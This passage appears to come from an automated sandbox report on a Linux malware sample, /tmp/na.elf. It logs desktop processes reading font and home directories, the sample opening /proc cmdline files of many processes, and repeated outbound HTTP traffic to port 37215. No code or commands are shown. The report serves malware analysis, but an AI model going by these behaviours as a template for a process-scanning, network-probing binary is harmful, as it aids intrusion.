Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5516)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5525)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5525)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5525)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5525)	Directory: /home/saturnino/.config	Jump to behavior

Source: /tmp/na.elf (PID: 5508)	File opened: /proc/2672/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1583/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3244/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3120/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3361/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3239/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1610/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/512/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1299/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3235/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/514/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/5533/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/5534/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/5535/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/5536/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/5537/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/519/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/5538/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/2946/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3134/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1593/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3011/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3094/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/2955/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3406/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1589/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3129/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3402/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3125/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3246/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3245/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/767/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/888/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/769/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/806/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/807/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/928/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/2956/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/5441/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3142/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1635/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1633/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3139/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1873/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1630/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3412/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/657/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/658/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/659/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/418/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/419/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1639/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1638/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3398/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1371/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3392/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/780/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/660/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3704/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/661/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/782/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1369/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3706/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3304/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3425/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3707/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/785/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1642/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3708/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/940/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3709/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/941/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1640/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3147/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3268/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1364/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/548/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3823/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1647/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/2991/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1383/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1382/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1381/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/791/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/671/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/794/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1655/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/2986/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/795/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/674/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1653/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/797/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/2983/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/3159/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/678/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5508)	File opened: /proc/1650/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 36872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54416 -> 37215
